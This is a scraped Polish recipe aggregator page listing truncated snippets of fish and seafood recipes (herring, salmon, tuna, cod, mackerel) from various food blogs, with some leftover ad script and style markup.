towarzystwie”. Sałatka śledziowa warstwowa z pewnością będzie doskonale smakować jeśli uzupełnimy ją pokrojonym jabłkiem lub dodając korniszona. Zachęcamy też do sprawdzenia innych naszych pomysłów na sałatki z rybą. Min. doskonałych śledzi w musztardzie , pysznych śledzi z cebulką i żurawiną , oraz pasty kanapkowej z makreli i 3 ziaren . Zapraszamy na przepis i mamy nadzieję, że nasza sałatka śledziowa znajdzie się

Kuchnia Na Wypasie
Łosoś zapiekany ze szpinakiem i serami 79

Łosoś jest delikatną rybą i bardzo smaczną, nie potrzebuje zbyt wiele składników aby poczynić z niego dobry obiad.   Zapiekany pod kołderką ze szpinaku i sera, stanowi świetne danie obiadowe na różne okazje.   Robi się go szybko . Najlepiej smakuje w towarzystwie pieczonych ziemniaków i dobrej surówki . Można go podać nawet na świąteczny obiad zamiast zwykłego panierowanego fileta. Danie proste

Wanilia i Kardamon
Zimne ciasto z łososiem 97

nasz pomysł przypadnie Wam do gustu. A ciasto z łososiem zagości na niejednym nie tylko świątecznym stole. Zachęcamy również do sprawdzenia innych naszych przepisów na pyszne wykorzystanie aromatycznych ryb. Min. pięknej sałatki warstwowej z tuńczykiem na krakersach , doskonałych śledzi marynowanych w musztardzie . A także mega prostych w wykonaniu śledzi w sosie słodko – kwaśnym , oraz szybkiej sałatki z tuńczykiem . Zimne

Kuchnia Na Wypasie
Makaron razowy z groszkiem i tuńczykiem 94

Makaron w zdrowszej wersji, bo razowy, do tego słodki groszek pyszna ryba i słodkie koktajlowe pomidorki. Danie to znakomity pomysł na obiad lub na drugie śniadanie do pracy, bo jest pyszne zarówno na ciepło jak i na zimno. Dodatkowym atutem dania jest wprost ekspresowe przygotowanie , spokojnie zmieścimy się w 20-25 minutach. Na 2 porcje 100 g makaronu razowego

Krylowa Kuchnia
Śledzie na Święta 76

Śledzie na Święta, czyli śledzie na Wigilię, bo to właśnie wtedy jest ten świąteczny czas, gdy na większości polskich stołów królują ryby, a wśród nich głównie właśnie śledzie i karpie. Poniżej znajdziecie zbiór moich ulubionych przepisów na śledzie The post Śledzie na Święta appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Tatar ze śledzia z majonezem 90

będą mieć ciemny wyrazisty kolor) . Możesz także wykorzystać te, które pozostały z ugotow ania czerwonego barszczu .   Polecam także: ** Domowe flaki wołowe ** Tatar z łososia z oliwą ** Racuchy drożdżowe ** Ryba w kukurydzianej panierce   (adsbygoogle = window.adsbygoogle || []).push({});   Składniki: 250 g filetów śledziowych (około 3-4 sztuki) jabłko j ajko ugotowane na twardo 2-3 ogórki konserwowe lub kiszone garść

Kulinarny S.O.S.
Sałatka śledziowa z burakami 80

Dziś zapraszam Was na bardzo smaczną, łatwą w przygotowaniu sałatkę śledziową z buraczkami.  Niby połączenie banalnych składników,  ale czasem tyle wystarczy by było pysznie

magiczna kuchnia Kasi
Makaron z tuńczykiem 82

pietruszki.\r","Na gor\u0105cy makaron nak\u0142ada\u0107 tu\u0144czyka z pietruszk\u0105.\r","Mo\u017cna jeszcze dodatkowo udekorowa\u0107 kawa\u0142kami natki pietruszki."],"recipeYield":"2","keywords":"makaron,ryby,tu\u0144czyk","totalTime":"PT0H12M"} Drukuj Makaron z tuńczykiem Czas przygotowania: 2 minut/y Czas gotowania/pieczenia: 10 minut/y Czas całkowity: 12 minut/y Porcje: 2 Składniki: ok 200g makaronu (najlepiej świderki), 1 puszka

Bardzo Gruby Smok
Pyszna ryba smażona w zalewie słodko-kwaśnej 270

Pyszna ryba,idealna na każdą okazję,jako przekąska,sprawdzi się również świetnie na Wigilię,smażona w cieście i potem zalana słodko-kwaśną zalewą-nie znam lepszej,u nas zawsze obowiązkowo na święta-polecam gorąco

Swojskie jedzonko
Sałatka z makreli wędzonej 99

zrobić jak jest tylko jedna makrela wędzona a domowników kilkakrotnie więcej? Oczywiście sałatkę albo pastę.Nie każdy może przepada za wędzoną rybą, a makrela ma dość charakterystyczny i wyrazisty zapach. Po dodaniu kilku składników smak znacznie łagodnieje a przy okazji mamy pyszną przekąskę, smarowidło lub dodatek. Rozmyślnie nie dodawałam tu ryżu, mimo że świetnie pasuje [...] Artykuł Sałatka z makreli wędzonej

Pieprzyć z Fantazją
Panierka paleo (bezglutenowa) 69

zalecamy ich jedzenia. Dlaczego wykluczamy bułkę tartą? Zobacz: Zboża szkodzą . Najprostsza, najszybsza i chyba najtańsza panierka paleo to jajko i wiórki kokosowe , taka panierka doskonale się sprawdza do ryb i drobiu. Świetnie do niej pasuje nierafinowany olej kokosowy , ale do smażenia można też wziąć rafinowany olej kokosowy, masło klarowane (przepis) lub smalec . Zobacz też : Mąki w kuchni paleo . Kokos, migdały

PaleoSMAK
Faszerowane papryki z tuńczykiem 87

sałatki wcześniej a w ostatniej chwili zróbcie krewetki, później zostanie Wam już tylko jedzenie  Zapraszam do innych moich przepisów inspirowanych meksykiem: –  tacos z tofu –  tacos z rybą –  tacos z szarpaną wieprzowiną –  chilli con carne z dynią –  bowl burito z łososiem –  chili z fasoli –  tacos ze stekiem –  przepis na guacamole –  tacos

nietylkopasta.pl
Gulasz z łososiem i makaronem gryczanym 124

plastry i gotuję na wolnym ogniu. Na końcu dodaję różyczki brokuła. Doprawiam solą, pieprzem,papryczka chili, dodaję kawałki łososia, sok z limonki i zagotowuję. Zostawiam pod przykryciem 10 minut ryba dojdzie. Dokładam pokrojone tofu wędzone, posypuję natką pietruszki

wesoła kuchnia
Zupa rybna pikantna z pulpecikami dorsza 85

pikantna z pulpecikami dorsza jest zdrowa, smaczna oraz aromatyczna.Zupa rybna pikantna z pulpecikami pochodzi od pani Agnieszki . Dziękuję ślicznie za przesłanie przepisu.Zupa rybna jest bogatym źródłem składników odżywczych . Mięso ryb zawiera duże ilości nienasyconych kwasów tłuszczowych , które mają działanie przeciwnowotworowe.  … The post Zupa rybna pikantna z pulpecikami dorsza appeared first on Smaczne potrawy

Smaczne Potrawy
Buddha bowl z wędzonym łososiem 102

doskonale się balansuje po zmieszaniu miski. Aby moja miska zdrowia była jak najbardziej jakościowa użyłam ekologicznych warzyw i łososia MOWI – pochodzącego ze zrównoważonej hodowli, niezawierającego konserwantów, bardzo świeżego. Ryby MOWI hodowane są z najwyższą troską i jakością – takiego łososia spotkacie w najlepszych knajpach. Każde opakowanie ma kod QR – skanując go telefonem dowiemy się skąd pochodzi łosoś

Poezja smaku
Curry z dynią i łososiem 83

Najpierw obieramy dynię (najlepiej zrobić to tradycyjną obieraczką do warzyw) i wydrążamy z niej środek. Następnie kroimy warzywo w niewielką kostkę. Później myjemy i osuszamy łososia. Odkrawamy skórę i rybę również kroimy w kostkę. Cebulkę siekamy, czosnek przeciskamy przez praskę, a imbir ścieramy na tarte o drobnych oczkach. W głębokiej patelni typu wok rozgrzewamy olej kokosowy i przesmażamy przez około

Natka Pietruszki
Kotlety boczkowo- rybne z kapustą po cygańsku 160

Sól, pieprz, pieprz ziołowy, sok z cytryny Poszatkowaną kapustę wraz z pokrojonymi w plasterki pieczarkami wrzucamy do garnka wraz z 120g smalcu. Doprawiamy solą i pieprzem i dusimy. Boczek, rybę i cebulę mielimy. Brokuł i paprykę kroimy na małe kawałki. Dodajemy jajko, trochę soku z cytryny,  przyprawy i wszystko razem dokładnie mieszamy. Formujemy kotlety i smażymy do lekkiego zrumieniania

serzmiesem
Pasta z makreli wędzonej i twarogu. 87

Przepis na pastę z makreli wędzonej i białego sera. Smaczna, zdrowa i łatwa do przygotowania. Idealna na drugie śniadanie lub kolację. Świetnie smakuje zarówno z białym

To co lubię - gotuję i polecam
MÓJ KOLEJNY WYSTĘP W „PYTANIE NA ŚNIADANIE” TVP2 – ” Jak zachęcić dzieci do jedzenia ryb” 106

sierpnia 2020r. po raz kolejny miałam okazję wystąpić w „Pytanie na śniadanie” w TVP2. Tym razem ponownie jako gość specjalny, rozmawiając o tym, jak zachęcić dzieci do jedzenia ryb. Ja przed kamerą czuję się coraz pewniej, a plotki głoszą, że kamera mnie uwielbia! Czy to koniec przygód z programem? Mam nadzieję

Ostra na Słodko
Domowe sushi – dokładny i prosty przepis 59

sushi pochodzi od pani Maji. Dziękuję ślicznie za przesłanie przepisu. Sushi w Polsce jest bardzo popularne. Polacy, jak i miliony ludzi na całym świecie , pokochali ryż łączony z kawałkami ryby oraz innymi  … The post Domowe sushi – dokładny i prosty przepis appeared first on Smaczne potrawy

Smaczne Potrawy
Słodko-kwaśny gulasz z owocami morza 168

Składniki: 400 g mieszanki owoców morza 100 fileta z ulubionej ryby 1 puszka ananasa 1 puszka kukurydzy 1 czerwona papryka 2 cebule 1 słoiczek koncentratu pomidorowego (200 g) 1 łyżka … Czytaj dalej Słodko-kwaśny gulasz z owocami morza

czarrna od kuchni
Łosoś w marynacie z piekarnika 80

Łosoś to cudowna, pyszna ryba, którą przyrządza się bardzo szybko. Mięso jest delikatne, a doprawione w ten sposób jest aromatyczne i na pewno posmakuje każdemu Co potrzeba: 700 g świeżego łososia (filet), 4 gałązki świeżego lub mrożonego rozmarynu Co potrzeba na marynatę: 3 łyżki oleju, 4 łyżki sosu sojowego ciemnego, 1 łyżeczka soku z cytryny, 1 łyżeczka miodu płynnego

Bułka z Chlebem
Zielone curry z łososiem, krewetkami oraz cieciorką – oryginalne danie jednogarnkowe z rybą 94

Przedstawiam pomysł na danie główne z rybą oraz krewetkami. Dodatkowo pełne warzyw i proste w przygotowaniu – wystarczy tylko jeden garnek. Doprawione wedle uznania może pod pasować nawet najmniejszym smakoszom. Składniki: 500g łososia 200g krewetek (ja użyłam już obranych i podgotowanych) puszka cieciorki (240g) 2 cebule 4 ząbki czosnku 4 łodygi selera naciowego 2 cm imbiru pęczek szczypiorku kozieradka, kmin rzymski

wysmienity
Ryżowa zapiekanka z brokułem i łososiem 114

osuszonego ręcznikiem papierowym łososia dzielimy na mniejsze kawałki (bez skóry). Oprószamy go niewielką ilością soli i pieprzu. Na dnie natłuszczonego naczynia żaroodpornego wykładamy ugotowany ryż. Następnie wykładamy kawałki ryby oraz różyczki brokuła i cząstki pomidorów. Śmietankę mieszamy dokładnie z jajkami. Doprawiamy solą, pieprzem oraz szczyptą gałki muszkatołowej. Dodajemy starty ser żółty. Sosem zalewamy zapiekankę. Wstawiamy do piekarnika nagrzanego

Smaki Na Talerzu
Cytrynowy łosoś z młodą fasolką szparagową 138

Cytrynowy łosoś z młodą fasolką szparagową to bardzo szybka i zdrowa propozycja na obiad w ciepłe letnie dni. Odpowiednio zamarynowany łosoś to podstawa tego dania. Łosoś jest specyficzną rybą, więc im mniej składników potrzebnych do jego zamarynowania tym lepiej. Oczywiście zamiast fasolki możecie użyć dowolnych innych dodatków np. młodych ziemniaczków, kalafiora, brokuła itd. Przeczytaj także: Łosoś z sojowej marynacie

Kulinarnyblog.pl - wiesz jak gotować!
Woke z tygrysimi krewetkami 104

krewetkami. Dzisiejszym wpisie chcę zaproponować danie z tygrysimi krewetkami. są to duże skorupiaki z charakterystycznymi pręgami. Mają nieciekawy szary wygląd, ale po ugotowaniu nabierają rumieńców. Podobnie jak mięso i ryby również skorupiaki można marynować. Nabierają wtedy smaku. Jaką marynatę przyrządzić do krewetek? O to nic trudnego. Jeśli przygotowuję woke z krewetkami marynuję je w jasnej soi, wymieszanej z oliwą, chili

codojedzenia
Ryba z brokułem zapiekana w mleczku kokosowym 96

Ryba zapiekana z brokułem - szybkie danie na letni obiad. To danie o niskim indeksie glikemicznym, zatem idealne dla cukrzyków, zalecane przy insulinooporności i dla wszystkich dbających o linię. Do przygotowanie dania wykorzystałam pstrąga łososiowego, a bazę sosu stanowi mleczko kokosowe

Gotuj zdrowo!Guten Appetit!
Łosoś z sojowej marynacie ze szparagami 145

mieszając. Doprawiamy solą, pieprzem i gałką muszkatołową. Jak sos nam zgęstnieje po ok. 5 minutach odstawiamy go z ognia. Łososia pieczemy ok. 15 minut w temperaturze 200 st. C. Rybę podajemy razem ze szaragami polanymi sosem beszamelowym. Smacznego! Artykuł Łosoś z sojowej marynacie ze szparagami pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś w orientalnym sosie 100

Jednak podstawą jest, by nie przedobrzyć. Natłok smaków może zabić produkt, więc uważajmy z doborem przypraw.   Dzisiaj proponujemy łososia w sosie orientalnym, na bazie soku ze świeżych mandarynek. Ryba lekko muśnięta owocem idealnie komponuje się ze świeżymy warzywami. Składniki: 1 kg filetów z łososia ze skórą 200 ml sosu sojowego 2 łyżki cukru palmowego 50 ml octu ryżowego

R'n'G Kitchen
Tarta z łososiem i cukinią – genialna 103

podrzucacie mi swoje pomysły na połączenia smakowe. Jeśli chcecie się zainspirować zajrzyjcie do poniższych przepisów: Kryzysowa tarta z dżemem Tarta z tuńczykiem Tarta z porem i słonecznikiem Tarta z ryba wędzoną Tarta ze szpinakiem Tarta z grzybami suszonymi Tarta z galaretkami Tarta z pokrzywą Tarta z pomidorami Tarta z krewetkami Tarta z sałatka jarzynową Tarta z kurkami PRZEPIS TARTA

Dorota Smakuje
Krewetki w cieście piwnym 94

przyjaciółmi, polecam. Print Krewetki w cieście piwnym .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Krewetki są wspaniałe w każdej postacie, ale te są wyśmienite. Course Ryby i owoce morza Cuisine International Keyword krewetki Prep Time 15 minutes Cook Time 25 minutes Total Time 40 minutes Servings 5 Author Anna Ingredients 300 g świeżych krewetek gotowane też będą

SprawdzonaKuchnia.pl
Terrina z twarożku i łososia 70

foli spożywczej, wysmarować ją olejem. Na przygotowaną folię ułożyć płaty łososia, powinny delikatnie zachodzić na siebie. Folię z łososiem przenieść do ceramicznego naczynia (kształt dowolny) folię z rybą dopasować do jego kształtu. Na tak przygotowane dno z łososia wyłożyć twarożek, całość wygładzić łyżką, brzegi łososia zawinąć do środka, przykryć folią i docisnąć dość mocno, ale z umiarem, żeby

SprawdzonaKuchnia.pl
Spring rolls z łososiem 104

ważne są bez glutenu. Polecam! Print Spring rolls z łososiem .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Bardzo, bardzo dobre rollsy. Course Obiad Cuisine International Keyword ryba Prep Time 40 minutes Cook Time 20 minutes Total Time 1 hour Servings 4 Author Anna Ingredients 300 g łososia 1 duża marchew kiełki lucerny lub inne ulubione rukola

SprawdzonaKuchnia.pl
Śledź po kaszubsku 105

możecie oczywiście je dodać. Śledzie najlepiej smakują po dwóch dniach macerowania się w lodówce pod pomidorową pierzynką. Sos do śledzi z dzisiejszego przepisu można wykorzystać jako dodatek do smażonej ryby , należy tylko zmniejszyć ilość oleju do minimum. Smacznego! Print Śledź po kaszubsku .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Fantastyczny sos do śledzi. Course Dodatki Cuisine Polska

SprawdzonaKuchnia.pl
Śledzie w musztardzie 94

lepiej. Matiasy holenderskie różnią się przede wszystkim kolorem , oryginalne mają lekko różowe mięso, a nasze polskie są białe. Te różnice wynikają z procesu obróbki śledzi i wieku ryb, matiasy to młodziutkie śledzie, które nie przekraczają roku, ich mięso jest tłuste i delikatne. Tak czy inaczej, nieważne, z jakich śledzi będziecie korzystać, najważniejszy jest sos do nich, to on nadaje

SprawdzonaKuchnia.pl
Terrina zielona z jajkiem i szparagami 153

jest dietetyczna, zdrowa ale przede wszystkim przepyszna. Robi się ją szybko, a zajadać można na śniadanie, kolację czy lunch do pracy. Mamy tutaj i warzywa, i jajka i rybę i nabiał. Czyli to wszystko co potrzebujemy w naszym dziennym jadłospisie. Czyż nie wygląda ona pięknie, można ją jeść oczami :-) 12 szparagów zielonych cienkich 120 g serka śmietankowego puszystego

wesoła kuchnia
Łosoś z maślanym sosem cytrynowym i szparagami 104

Łosoś to szlachetna i jakże smaczna ryba, z której można przygotować pyszny obiad w 20 minut. Tak, tylko tyle czasu potrzeba, aby na talerzu znalazło się wspaniałe danie! Delikatny łosoś nie wymaga wielkiego kunsztu od kucharza, ani wyszukanych dodatków, bowiem sam w sobie, wprost z […] Artykuł Łosoś z maślanym sosem cytrynowym i szparagami pochodzi z serwisu Wędr

Wędrówki po kuchni
Szczupak smażony 104

naleśnikowe (jajko, mąka i mleko) i maczać w cieście naleśnikowym z obu stron i smażyć na rozgrzanym oleju na złoty kolor. KROK 3: Na silnie rozgrzanym tłuszczu zrumienić rybę i dosmażyć już na małym ogniu na złoty kolor. Wystarczy świeży chlebek, surówka i palce lizać

Z notatnika
Lekkie zielone curry 154

Składniki: 250 g fileta z ulubionej ryby 1/2 pęczka szparagów 1 mała cukinia 1/2 pora 250 g boczniaków 200 g fasolki 200 g mrozonego groszku 25 g pasty zielone curry … Czytaj dalej Lekkie zielone curry

czarrna od kuchni
Potrawka rybna 159

Składniki: 1 mała marchewka 1/2 czerwonej papryki 1 filet z dowolnej ryby 1/2 pęczka szparagów kawałek pora 200 g jogurtu naturalnego sól, pieprz słodka papryka, zioła prowansalskie łyżeczka sosu chili … Czytaj dalej Potrawka rybna

czarrna od kuchni
Makaron w sosie rybnym 146

Składniki: 200 g ulubionego makaronu 250-300 g ryby, u mnie 3 szt. kostki z mintaja 1 mały por 1/2 pęczka szparagów 40 g liści szpinaku 2 ząbki czosnku 1 łyżka … Czytaj dalej Makaron w sosie rybnym

czarrna od kuchni
Sałata rzymska z makrelą i jajkiem 130

miodowo musztardowy ( ale może być każdy inny na bazie oleju) Przygotowanie jest bardzo proste, sałatę porwać na niewielkie kawałki, pokroić ogórka, paprykę, jajka na ćwiartki lub drobniej, rozdrobnić rybę, polać sosem, wymieszać i smacznego. Zamiast makreli można też użyć tuńczyka z puszki jeśli ktoś lubi

Lubię to gotuję
Sałatka ziemniaczana z łososiem 92

family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Ziemniaki obieramy, kroimy w dużą kostkę. Gotujemy w osolonym wrzątku. W tym czasie rybę kroimy w kostkę. Majonez mieszamy z serkiem i natką. Ostudzone ziemniaki mieszamy z pozostałymi składnikami. Doprawiamy pieprzem. Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name

R'n'G Kitchen
Dziesięć produktów wspierających odporność 96

wyniku procesów fermentacji z udziałem bakterii, grzybów, pleśni i są potrzebne do poprawy transportu jelitowego, utrzymania lokalnej odporności jelitowej i normalizacji trawienia. Pokarmy bogate w witaminę D Wątroba dorsza, ryby morskie, olej rybny. Witamina D odgrywa ważną rolę w regulacji układu odpornościowego: stymuluje aktywność fagocytarną, zwiększa produkcję białek przeciwdrobnoustrojowych. Pokarmy bogate w tryptofan Kawior czerwony i czarny, mięso królicze, indyk

ProstePesto.pl
Pasta z wędzonej makreli / Smoked mackerel paste 82

więcej soli nie potrzeba, ale oczywiście to zależy tylko od Ciebie. Podobnie jest z konsystencją, moim zdaniem nie trzeba dodawać do pasty jogurtu, gdyż tłuszcz zawarty w rybie doskonale łączy składniki. Jeśli jednak uważasz, że past jest z gęsta – dodaj łyżkę jogurtu i wymieszaj dokładnie. Take all the fishbones out of the mackerel, nobody likes fishbones, even the tiniest

Martyna Cooks
Dorsz zapiekany na pierzynce z porów 108

Dziś obiad rybny - w końcu piątek a u mnie jak wiecie w piątek mięska się nie jada. Obiad szybki, myślę, że jak na rybę nie drogi ale za to zdrowy i bardzo smaczny. Zapraszam :) Dorsz zapiekany na pierzynce z porów - 3 filety z dorsza - 2-3 białe części pora - 1 łyżka masła - sól, pieprz cytrynowy, gałka muszkatołowa - sok z cytryny

Kuchnia Pełna Emocji
Pstrąg z warzywami 109

środka włożyć po 1 nieobranym ząbku czosnku oraz skropić sokiem z cytryny. Położyć na dużej blaszce do pieczenia wyłożonej papierem do pieczenia ponacinaną stroną do góry. Na blaszkę obok ryb wyłożyć przygotowane warzywa. W miseczce roztopić masło i  polać pstrągi i warzywa. Wstawić blachę dopiekarnika i piec przez ok. 15-20 minuy. Podawać z ziemniakami, ryżem lub kaszą. Artykuł

I LOVE LIFE
Polędwica z dorsza w lubczyku 80

0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Jedna ze smaczniejszych ryb z naszym ulubionym składnikiem.  Składniki: 500 g polędwicy z dorsza 1 garść listków lubczyku 100 ml oliwy z oliwek sól, pieprz Przygotowanie: Normal 0 21 false false false MicrosoftInternetExplorer4

R'n'G Kitchen
Sałatka z tuńczykiem i ciecierzycą 105

wymieszaną razem z sosem w salaterce - wybór należy do Was. Świetnie sprawdzi się jako danie kolacyjne, na wynos, a także na różnego rodzaju imprezach (pod warunkiem, że goście lubią ryby 😉). Składniki: 100 g rukoli 1 puszka tuńczyka w sosie własnym (kawałki) 3 małe pomidory 3 jajka 1/2 puszki ciecierzycy Sos: 3 łyżki jogurtu naturalnego 1 łyżka majonezu 1 łyżeczka musztardy

Kuchnia MagdaLeny
Sałatka z tuńczykiem i ciecierzycą 105

wymieszaną razem z sosem w salaterce - wybór należy do Was. Świetnie sprawdzi się jako danie kolacyjne, na wynos, a także na różnego rodzaju imprezach (pod warunkiem, że goście lubią ryby 😉). Składniki: 100 g rukoli 1 puszka tuńczyka w sosie własnym (kawałki) 3 małe pomidory 3 jajka 1/2 puszki ciecierzycy Sos: 3 łyżki jogurtu naturalnego 1 łyżka majonezu 1 łyżeczka musztardy

Kuchnia MagdaLeny
Ceviche z tuńczykiem i awokado na picie 90

swoją miłość do Was wyrażam tym, czym mogę Was nakarmić. Ze specjalną dedykacją, zło, które jeszcze nie śpi.  Dziękuję.  ________________________ Ceviche to takie danie z owoców morza lub ryb, z dodatkiem niezwykle dużej ilości soku z cytryny z warzywami. W moim wypadku podane na domowej picie, którą zrobiłam z ciasta na pierogi :) Danie niezwykle lekkie, świeże, właściwie definicja wiosny

Mango Papaja
Racuszki drożdżowe z rybą 184

rybnych, u mnie kostka z mintaja 25 g drożdży + 1/2 łyżeczki cukru 1 cebula 1 marchewka 1/2 pietruszki 1 ząbek czosnku 1 … Czytaj dalej Racuszki drożdżowe z rybą

czarrna od kuchni
Mintaj w migdałowym szpinaku 112

przesmażam na oleju. Szpinak myję,osuszam i drobno kroję. Przesmażam z cebulą. Dodaję sól, pieprz czarny i czerwony, zioła. Wlewam mleko migdałowe i chwile gotuję. Układam na wierzchu kawałki ryby i pod przykryciem na wolnym ogniu duszę 5 minut. Makaron gotuję według instrukcji opakowania. Dodaję go do szpinaku przed podaniem. Posypuję koperkiem

wesoła kuchnia
PIECZONY ŁOSOŚ Z IMBIREM I MIODEM 82

posiekaj na pastę wymieszaj wszystkie składniki marynaty foremkę wysmaruj masłem, ułóż na nim łososia skórą do dołu i zalej marynatą piecz w 190ºC przez 15 minut. Następnie obsmaż szybko rybę na patelni, by była ładna i rumiana Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł PIECZONY ŁOSOŚ Z IMBIREM I MIODEM pochodzi z serwisu SandraFrej.com

SandraFrej.com
KANAPKOWA PASTA RYBNA Z ANCHOVIES 110

czosnkiem i opcjonalnie także czerwonym pieprzem oraz świeżą kolendrą. Znakomity zamiennik wędlin na kanapkach. Można przechowywać do 2 dni w lodówce. Wędzoną makrelę z powodzeniem można zastąpić inną wędzoną rybą, np. pstrągiem. Można także użyć odsączonego z zalewy tuńczyka z puszki lub ze słoiczka. Zamiast twarożku sprawdzi się miękkie masło, które odpowiednio wcześnie należy wyjąć z lodówki i zostawić

cool and minty
Pulpety rybne w sosie śmietanowo-musztardowym 92

upodobania 1 łyżka mąki trochę świeżego lub suszonego koperku (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: rozmrożone osuszone filety rybne rozdrabniamy w blenderze lub mielimy przez maszynkę, następnie przekładamy do miski, do ryby dodajemy namoczoną i odciśniętą bułkę w mleku, zmieloną lub posiekaną cebulę, posiekaną natkę pietruszki, bułkę tartą, wbijamy jajko, dodajemy sól oraz pieprz następnie wyrabiamy pulpety, zagotowujemy rosół/bulion wyrobione pulpety

Blog kulinarny S9.PL
Pasta rybna z ogórkiem 99

łyżki posiekanej natki  sól pieprz Wykonanie: Makrelę obieramy ze skóry i usuwamy ości. W misce umieszczamy ser, jogurt i majonez, rozgniatamy widelcem i mieszamy. Dodajemy kawałki ryby i ponownie rozgniatamy widelcem. Na koniec dodajemy cebulę, ogórki, natkę i przyprawy. Dokładnie mieszamy

Kulinarne przygody Gatity
Dzwonko z łososia pieczone w słodkiej marynacie 112

Całość dokładnie mieszamy. Przygotowaną marynatą, nacieramy łososia. Pozostawiamy go na 5 minut, a następnie wkładamy do nagrzanego do 180 st. C piekarnika. Łososia pieczemy przez ok. 12-14 minut. Rybę podajemy wraz ze świeżymi warzywami. Sprawdź przepis na: Szybkie curry z łososiem Smacznego! Artykuł Dzwonko z łososia pieczone w słodkiej marynacie pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Jak właściwie używać przypraw? 95

bazylia. Cielęcina: sól, czosnek, cebula, gorczyca, papryka słodka, pieprz czarny, bazylia, koperek, ziele angielskie, liście laurowe, majeranek, gałka muszkatołowa, papryka czerwona, natka pietruszki, rozmaryn, szałwia, seler, cebula, kapary, curry. Ryby: sól, czosnek, bazylia, gorczyca, imbir, cukier, natka pietruszki, kwas cytrynowy, rozmaryn, cebula, bazylia, cząber, koper, trybula ogrodowa, lubczyk, liść laurowy, papryka, pieprz, tymianek, cebula. Twaróg: bazylia, cebula, czosnek, czosnek niedźwiedzi

365 dni dookoła kuchni
Makaron z tuńczykiem ,suszonymi pomidorami i zielonym groszkiem 90

Polecam pyszne i ekspresowe danie z makaronu dla zapracowanych. Czas przygotowania takiego obiadu to zaledwie 20 minut. Soczysta zdrowa ryba, słodki groszek i suszone na słońcu pomidory to doskonałe połączenie. Danie idealne również dla dbających o zdrowie czy o linię. Trzeba dodać, że danie w całości wykonałam z produktów, które miałam w domu, bez niepotrzebnego wychodzenia z domu

Krylowa Kuchnia
Śledzie z migdałami w korzennej zalewie 84

śliwki. Roladki ułożyć w głębokim naczyniu o płaskim dnie. Wymieszać składniki na marynatę: oliwę, kardamon, cynamon, goździki, cukier i ocet balsamiczny, doprawić do smaku pieprzem i ewentualnie solą. Zalać ryby, wstawić do lodówki na noc. Następnie ułożyć śledzie na półmisku, na którym będą podawane, polać marynatą i posypać płatkami migdałowymi. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Śledzie z migdałami w korzennej zalewie

niecodziennikpary
Zapiekany łosoś ze szpinakiem w cieście francuskim 82

minut, często mieszając, aż śmietana się zredukuje. Pod koniec doprawić solą i odrobiną pieprzu do smaku. Odstawić do całkowitego wystygnięcia. Łososia umyć, osuszyć papierowym ręcznikiem. Zdjąć skórę, rybę posolić z obu stron i podzielić na 4 kawałki. Ciasto francuskie wyjąć z lodówki na 15 minut przed rozpoczęciem nadziewania. Następnie rozwinąć je i pociąć na 4 prostokąty. Na jedną połówkę każdego

niecodziennikpary
Przysmak gajowego 89

Śledzie z grzybami, zwane przysmakiem gajowego , to jedna z moich ulubionych wersji przygotowania tej ryby. Do ich wykonania potrzeba niewielu składników i można wyczarować śledzie pachnące lasem, choć uczciwie trzeba napisać, że należy uzbroić się w cierpliwość, gdyż całe danie musi odstać w lodówce choć jedną noc. Gdy już to nam się uda, możemy cieszyć się przysmakiem gajowego i zawartym

niecodziennikpary
Śledzie w oleju 90

sałatkach lub z ciekawymi dodatkami wzbogacającymi ich smak. Podstawą jest oczywiście kupienie odpowiednich filetów ze śledzi i wymoczenie ich w zimnej wodzie lub mleku. W naszej budce z rybami kupiliśmy wyborne Matjasy, z których zrobiliśmy bardzo smaczne i proste do wykonania śledzie w oleju – przepisem oczywiście z Wami się dzielimy. Składniki 4 filety śledziowe a’la Matjas

niecodziennikpary
Dorsz w kremowym sosie z porami 112

odżywczych, zawiera ich o wiele więcej niż częściej wykorzystywana w kuchni dolna biała. Danie jest dietetyczne, ponieważ dorsza nie obsmażałam tylko udusiłam w sosie śmietanowym. Przygotowana w ten sposób ryba jest delikatna i bardzo soczysta

Gotuj zdrowo!Guten Appetit!
Wiosenna sałatka z pstrągiem tęczowym, roszponką i sezamem 112

sytuacji ograniczam jakiekolwiek wyjścia na zewnątrz. Choć pogoda coraz mocniej zachęca do spacerów. Pozostaje mi tylko pocieszyć się wiosną na talerzu... A co na nim dobrego? Rzodkiewki, ogórki, wędzona ryba... Sałatka: 1 opakowanie roszponki 100g wędzonego pstrąga łososiowego kilka rzodkiewek 1 mały zielony ogórek kilka pomidorków koktajlowych 1 łyżka sezamu kilka gałązek koperku Dressing: 1 łyżeczka musztardy miodowej 1/2 łyżeczki

My simple kitchen
Kotleciki ryżowe z łososiem 100

surówką czy sosem jogurtowym. Kotleciki ryżowe z łososiem i groszkiem: 300 g ugotowanego, białego ryżu (3 torebki) 150 g wędzonego na gorąco łososia (można zastąpić inną wędzoną rybą lub tuńczykiem z puszki) 3/4 szklanki mrożonego groszku (rozmrożony) 1 nieduża cebula (lub dwie szalotki) 1 mały pęczek koperku 1 duże jajko 1 łyżka masła + olej do smażenia 3 łyżki bułki tartej

Poezja smaku
Śledzie z cebulką w oleju 100

Śledzie umieść w misce, zalej zimną wodą i odstaw na ok. 2 godziny, żeby wypłukać nadmiar soli. Jeśli po tym czasie śledzie wciąż są słone - wymień wodę i odstaw rybę ponownie do wypłukania. Cebulkę posiekaj drobno, dodaj szczyptę soli, dokładnie wymieszaj i odstaw na przynajmniej 30 minut, żeby cebula zmiękła i puściła sok. Posiekaj natkę pietruszki i wymieszaj z cebulką

Gary Bez dna
Matias z ziemniakami i marynowaną cebulą 110

